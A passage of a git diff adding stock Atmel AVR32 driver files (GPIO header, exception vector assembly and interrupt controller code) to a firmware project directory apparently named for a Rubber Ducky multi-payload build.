Edge +//! @} + +//! A type definition of pins and modules connectivity. +typedef struct +{ + unsigned char pin; //!< Module pin. + unsigned char function; //!< Module function. +} gpio_map_t[]; + + +/*! \name Peripheral Bus Interface + * + * Low-speed interface with a non-deterministic number of clock cycles per + * access. + * + * This interface operates with lower clock frequencies (fPB <= fCPU), and its + * timing is not deterministic since it needs to access a shared bus which may + * be heavily loaded. + * + * \note This interface is immediately available without initialization. + */ +//! @{ + +/*! \brief Enables specific module modes for a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables a specific module mode for a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for module pins. E.g., to enable a PWM + * channel output, the pin number can be AVR32_PWM_3_PIN for PWM + * channel 3. + * \param function The pin function.\n + * Refer to the product header file `uc3x.h' (where x is the + * part number; e.g. x = a0512) for module pin functions. E.g., + * to enable a PWM channel output, the pin function can be + * AVR32_PWM_3_FUNCTION for PWM channel 3. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module_pin(uint32_t pin, uint32_t function); + +/*! \brief Enables the GPIO mode of a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + */ +extern void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables the GPIO mode of a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for pin definitions. E.g., to enable the + * GPIO mode of PX21, AVR32_PIN_PX21 can be used. Module pins such as + * AVR32_PWM_3_PIN for PWM channel 3 can also be used to release + * module pins for GPIO. + */ +extern void gpio_enable_gpio_pin(uint32_t pin); + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + +/*! \brief Enables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_open_drain(uint32_t pin); + +/*! \brief Disables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_open_drain(uint32_t pin); + +#endif + +/*! \brief Enables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_up(uint32_t pin); + +/*! \brief Disables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_up(uint32_t pin); + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_down(uint32_t pin); + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_down(uint32_t pin); + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_buskeeper(uint32_t pin); + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_buskeeper(uint32_t pin); + +#endif + +/*! \brief Configuration functionality on a pin. + * + * \param pin The pin number. + * \param flags The configuration. + */ +extern void gpio_configure_pin(uint32_t pin, uint32_t flags); + +/*! \brief Configuration functionality on a port. + * + * \param port The port number. + * \param mask The mask. + * \param flags The configuration. + */ +extern void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags); + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + */ +extern int gpio_get_pin_value(uint32_t pin); + +/*! + * \brief Check if the pin is in low logical level. + * + * \param pin The pin number. + * \return Bool 1 if the pin is in low logical level + * 0 if the pin is not in low logical level + */ + #define gpio_pin_is_low(pin)\ + (gpio_get_pin_value(pin)?0:1) + +/*! + * \brief Check if the pin is in high logical level. + * + * \param pin The pin number. + * \return Bool 1 if the pin is in high logical level + * 0 if the pin is not in high logical level + */ +#define gpio_pin_is_high(pin) \ + (gpio_get_pin_value(pin)?1:0) + +/*! \brief Returns the output value set for a GPIO pin. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with \ref gpio_set_gpio_pin, + * \ref gpio_clr_gpio_pin and \ref gpio_tgl_gpio_pin. + */ +extern int gpio_get_gpio_pin_output_value(uint32_t pin); + +/*! \brief Returns the output value set for a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with + * \ref gpio_set_gpio_open_drain_pin, \ref gpio_clr_gpio_open_drain_pin + * and \ref gpio_tgl_gpio_open_drain_pin. + */ +extern int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_high(uint32_t pin); + + +/*! \brief Drives a GPIO port to 1. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_high(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_low(uint32_t pin); + +/*! \brief Drives a GPIO port to 0. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_low(uint32_t port, uint32_t mask); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_toggle_pin(uint32_t pin); + +/*! \brief Toggles a GPIO group. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_toggle_group(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Enables the glitch filter of a pin. + * + * When the glitch filter is enabled, a glitch with duration of less than 1 + * clock cycle is automatically rejected, while a pulse with duration of 2 clock + * cycles or more is accepted. For pulse durations between 1 clock cycle and 2 + * clock cycles, the pulse may or may not be taken into account, depending on + * the precise timing of its occurrence. Thus for a pulse to be guaranteed + * visible it must exceed 2 clock cycles, whereas for a glitch to be reliably + * filtered out, its duration must not exceed 1 clock cycle. The filter + * introduces 2 clock cycles latency. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_glitch_filter(uint32_t pin); + +/*! \brief Disables the glitch filter of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_glitch_filter(uint32_t pin); + +/*! \brief Enables the interrupt of a pin with the specified settings. + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode); + +/*! \brief Disables the interrupt of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_interrupt(uint32_t pin); + +/*! \brief Gets the interrupt flag of a pin. + * + * \param pin The pin number. + * + * \return The pin interrupt flag. + */ +extern int gpio_get_pin_interrupt_flag(uint32_t pin); + +/*! \brief Clears the interrupt flag of a pin. + * + * \param pin The pin number. + */ +extern void gpio_clear_pin_interrupt_flag(uint32_t pin); + +//! @} + + +#if (defined AVR32_GPIO_LOCAL_ADDRESS) +/*! \name Local Bus Interface + * + * High-speed interface with only one clock cycle per access. + * + * This interface operates with high clock frequency (fCPU), and its timing is + * deterministic since it does not need to access a shared bus which may be + * heavily loaded. + * + * \warning To use this interface, the clock frequency of the peripheral bus on + * which the GPIO peripheral is connected must be set to the CPU clock + * frequency (fPB = fCPU). + * + * \note This interface has to be initialized in order to be available. + */ +//! @{ + +/*! \brief Enables the local bus interface for GPIO. + * + * \note This function must have been called at least once before using other + * functions in this interface. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init(void) +{ + Set_system_register(AVR32_CPUCR, + Get_system_register(AVR32_CPUCR) | AVR32_CPUCR_LOCEN_MASK); +} + +/*! \brief Enables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_enable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_disable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline int gpio_local_get_pin_value(uint32_t pin) +{ + return (AVR32_GPIO_LOCAL.port[pin >> 5].pvr >> (pin & 0x1F)) & 1; +} + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrs = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrt = 1 << (pin & 0x1F); +} + +/*! \brief Initializes the configuration of a GPIO pin so that it can be used + * with GPIO open-drain functions. + * + * \note This function must have been called at least once before using + * \ref gpio_local_set_gpio_open_drain_pin, + * \ref gpio_local_clr_gpio_open_drain_pin or + * \ref gpio_local_tgl_gpio_open_drain_pin. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].odert = 1 << (pin & 0x1F); +} + +//! @} +#endif // AVR32_GPIO_LOCAL_ADDRESS + +#if UC3L +//! @{ +/*! \name Peripheral Event System support + * + * The GPIO can be programmed to output peripheral events whenever an interrupt + * condition is detected, such as pin value change, or only when a rising or + * falling edge is detected. + * + */ + +/*! \brief Enables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_enable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + AVR32_GPIO.port[pin >> 5].evers = 1 << (pin & 0x1F); +} + +/*! \brief Disables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_disable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].everc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the peripheral event trigger mode of a pin + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * \param use_igf use the Input Glitch Filter (true) or not (false). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf); + +//! @} +#endif + + +#endif // _GPIO_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/exception.S b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/exception.S new file mode 100644 index 0000000..60b0ecf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/exception.S @@ -0,0 +1,237 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Exception and interrupt vectors. + * + * This file maps all events supported by an AVR32. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#if !__AVR32_UC__ && !__AVR32_AP__ + #error Implementation of the AVR32 architecture not supported by the INTC driver. +#endif + + +#include + + +//! @{ +//! \verbatim + + + .section .exception, "ax", @progbits + + +// Start of Exception Vector Table. + + // EVBA must be aligned with a power of two strictly greater than the EVBA- + // relative offset of the last vector. + .balign 0x200 + + // Export symbol. + .global _evba + .type _evba, @function +_evba: + + .org 0x000 + // Unrecoverable Exception. +_handle_Unrecoverable_Exception: + rjmp $ + + .org 0x004 + // TLB Multiple Hit. +_handle_TLB_Multiple_Hit: + rjmp $ + + .org 0x008 + // Bus Error Data Fetch. +_handle_Bus_Error_Data_Fetch: + rjmp $ + + .org 0x00C + // Bus Error Instruction Fetch. +_handle_Bus_Error_Instruction_Fetch: + rjmp $ + + .org 0x010 + // NMI. +_handle_NMI: + rjmp $ + + .org 0x014 + // Instruction Address. +_handle_Instruction_Address: + rjmp $ + + .org 0x018 + // ITLB Protection. +_handle_ITLB_Protection: + rjmp $ + + .org 0x01C + // Breakpoint. +_handle_Breakpoint: + rjmp $ + + .org 0x020 + // Illegal Opcode. +_handle_Illegal_Opcode: + rjmp $ + + .org 0x024 + // Unimplemented Instruction. +_handle_Unimplemented_Instruction: + rjmp $ + + .org 0x028 + // Privilege Violation. +_handle_Privilege_Violation: + rjmp $ + + .org 0x02C + // Floating-Point: UNUSED IN AVR32UC and AVR32AP. +_handle_Floating_Point: + rjmp $ + + .org 0x030 + // Coprocessor Absent: UNUSED IN AVR32UC. +_handle_Coprocessor_Absent: + rjmp $ + + .org 0x034 + // Data Address (Read). +_handle_Data_Address_Read: + rjmp $ + + .org 0x038 + // Data Address (Write). +_handle_Data_Address_Write: + rjmp $ + + .org 0x03C + // DTLB Protection (Read). +_handle_DTLB_Protection_Read: + rjmp $ + + .org 0x040 + // DTLB Protection (Write). +_handle_DTLB_Protection_Write: + rjmp $ + + .org 0x044 + // DTLB Modified: UNUSED IN AVR32UC. +_handle_DTLB_Modified: + rjmp $ + + .org 0x050 + // ITLB Miss. +_handle_ITLB_Miss: + rjmp $ + + .org 0x060 + // DTLB Miss (Read). +_handle_DTLB_Miss_Read: + rjmp $ + + .org 0x070 + // DTLB Miss (Write). +_handle_DTLB_Miss_Write: + rjmp $ + + .org 0x100 + // Supervisor Call. +_handle_Supervisor_Call: + rjmp $ + + +// Interrupt support. +// The interrupt controller must provide the offset address relative to EVBA. +// Important note: +// All interrupts call a C function named _get_interrupt_handler. +// This function will read group and interrupt line number to then return in +// R12 a pointer to a user-provided interrupt handler. + + .balign 4 + + .irp priority, 0, 1, 2, 3 +_int\priority: +#if __AVR32_UC__ + // R8-R12, LR, PC and SR are automatically pushed onto the system stack by the + // CPU upon interrupt entry. No other register is saved by hardware. +#elif __AVR32_AP__ + // PC and SR are automatically saved in respectively RAR_INTx and RSR_INTx by + // the CPU upon interrupt entry. No other register is saved by hardware. + pushm r8-r12, lr +#endif + mov r12, \priority // Pass the int_level parameter to the _get_interrupt_handler function. + call _get_interrupt_handler + cp.w r12, 0 // Get the pointer to the interrupt handler returned by the function. +#if __AVR32_UC__ + movne pc, r12 // If this was not a spurious interrupt (R12 != NULL), jump to the handler. +#elif __AVR32_AP__ + breq spint\priority // If this was a spurious interrupt (R12 == NULL), branch. + st.w --sp, r12 // Push the pointer to the interrupt handler onto the system stack since no register may be altered. + popm r8-r12, lr, pc // Restore registers and jump to the handler. +spint\priority: + popm r8-r12, lr +#endif + rete // If this was a spurious interrupt (R12 == NULL), return from event handler. + .endr + + +// Constant data area. + + .balign 4 + + // Values to store in the interrupt priority registers for the various interrupt priority levels. + // The interrupt priority registers contain the interrupt priority level and + // the EVBA-relative interrupt vector offset. + .global ipr_val + .type ipr_val, @object +ipr_val: + .word (AVR32_INTC_INT0 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int0 - _evba),\ + (AVR32_INTC_INT1 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int1 - _evba),\ + (AVR32_INTC_INT2 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int2 - _evba),\ + (AVR32_INTC_INT3 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int3 - _evba) + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/intc.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/intc.c new file mode 100644 index 0000000..a495aaf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/intc.c @@ -0,0 +1,214 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief INTC driver for AVR32 UC3. + * + * AVR32 Interrupt Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "compiler.h" +#include "preprocessor.h" +#include "intc.h" + +// define _evba from exception.S +extern void _evba; + +//! Values to store in the interrupt priority registers for the various interrupt priority levels. +extern const unsigned int ipr_val[AVR32_INTC_NUM_INT_LEVELS]; + +__int_handler _get_interrupt_handler(unsigned int int_level); + +//! Creates a table of interrupt line handlers per interrupt group in order to optimize RAM space. +//! Each line handler table contains a set of pointers to interrupt handlers. +#if (defined __GNUC__) +#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#elif (defined __ICCAVR32__) +#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __no_init __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#endif +MREPEAT(AVR32_INTC_NUM_INT_GRPS, DECL_INT_LINE_HANDLER_TABLE, ~); +#undef DECL_INT_LINE_HANDLER_TABLE + +//! Table containing for each interrupt group the number of interrupt request +//! lines and a pointer to the table of interrupt line handlers. +static const struct +{ + unsigned int num_irqs; + volatile __int_handler *_int_line_handler_table; +} _int_handler_table[AVR32_INTC_NUM_INT_GRPS] = +{ +#define INSERT_INT_LINE_HANDLER_TABLE(GRP, unused) \ + {AVR32_INTC_NUM_IRQS_PER_GRP##GRP, _int_line_handler_table_##GRP}, + MREPEAT(AVR32_INTC_NUM_INT_GRPS, INSERT_INT_LINE_HANDLER_TABLE, ~) +#undef INSERT_INT_LINE_HANDLER_TABLE +}; + + +/*! \brief Default interrupt handler. + * + * \note Taken and adapted from Newlib. + */ +#if (defined __GNUC__) +__attribute__((__interrupt__)) +#elif (defined __ICCAVR32__) +__interrupt +#endif +static void _unhandled_interrupt(void) +{ + // Catch unregistered interrupts. + while (TRUE); +} + + +/*! \brief Gets the interrupt handler of the current event at the \a int_level + * interrupt priority level (called from exception.S). + * + * \param int_level Interrupt priority level to handle. + * + * \return Interrupt handler to execute. + * + * \note Taken and adapted from Newlib. + */ +__int_handler _get_interrupt_handler(unsigned int int_level) +{ + // ICR3 is mapped first, ICR0 last. + // Code in exception.S puts int_level in R12 which is used by AVR32-GCC to + // pass a single argument to a function. + unsigned int int_grp = AVR32_INTC.icr[AVR32_INTC_INT3 - int_level]; + unsigned int int_req = AVR32_INTC.irr[int_grp]; + + // As an interrupt may disappear while it is being fetched by the CPU + // (spurious interrupt caused by a delayed response from an MCU peripheral to + // an interrupt flag clear or interrupt disable instruction), check if there + // are remaining interrupt lines to process. + // If a spurious interrupt occurs, the status register (SR) contains an + // execution mode and interrupt level masks corresponding to a level 0 + // interrupt, whatever the interrupt priority level causing the spurious + // event. This behavior has been chosen because a spurious interrupt has not + // to be a priority one and because it may not cause any trouble to other + // interrupts. + // However, these spurious interrupts place the hardware in an unstable state + // and could give problems in other/future versions of the CPU, so the + // software has to be written so that they never occur. The only safe way of + // achieving this is to always clear or disable peripheral interrupts with the + // following sequence: + // 1: Mask the interrupt in the CPU by setting GM (or IxM) in SR. + // 2: Perform the bus access to the peripheral register that clears or + // disables the interrupt. + // 3: Wait until the interrupt has actually been cleared or disabled by the + // peripheral. This is usually performed by reading from a register in the + // same peripheral (it DOES NOT have to be the same register that was + // accessed in step 2, but it MUST be in the same peripheral), what takes + // bus system latencies into account, but peripheral internal latencies + // (generally 0 cycle) also have to be considered. + // 4: Unmask the interrupt in the CPU by clearing GM (or IxM) in SR. + // Note that steps 1 and 4 are useless inside interrupt handlers as the + // corresponding interrupt level is automatically masked by IxM (unless IxM is + // explicitly cleared by the software). + // + // Get the right IRQ handler. + // + // If several interrupt lines are active in the group, the interrupt line with + // the highest number is selected. This is to be coherent with the + // prioritization of interrupt groups performed by the hardware interrupt + // controller. + // + // If no handler has been registered for the pending interrupt, + // _unhandled_interrupt will be selected thanks to the initialization of + // _int_line_handler_table_x by INTC_init_interrupts. + // + // exception.S will provide the interrupt handler with a clean interrupt stack + // frame, with nothing more pushed onto the stack. The interrupt handler must + // manage the `rete' instruction, what can be done thanks to pure assembly, + // inline assembly or the `__attribute__((__interrupt__))' C function + // attribute. + return (int_req) ? _int_handler_table[int_grp]._int_line_handler_table[32 - clz(int_req) - 1] : NULL; +} + +//! Init EVBA address. This sequence might also be done in the utils/startup/startup_uc3.S file. +static __inline__ void INTC_init_evba(void) +{ + Set_system_register(AVR32_EVBA, (int)&_evba ); +} + +void INTC_init_interrupts(void) +{ + unsigned int int_grp, int_req; + + INTC_init_evba(); + + // For all interrupt groups, + for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++) + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) + { + // Assign _unhandled_interrupt as default interrupt handler. + _int_handler_table[int_grp]._int_line_handler_table[int_req] = &_unhandled_interrupt; + } + + // Set the interrupt group priority register to its default value. + // By default, all interrupt groups are linked to the interrupt priority + // level 0 and to the interrupt vector _int0. + AVR32_INTC.ipr[int_grp] = ipr_val[AVR32_INTC_INT0]; + } +} + + +void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level) +{ + // Determine the group of the IRQ. + unsigned int int_grp = irq / AVR32_INTC_MAX_NUM_IRQS_PER_GRP; + + // Store in _int_line_handler_table_x the pointer to the interrupt handler, so + // that 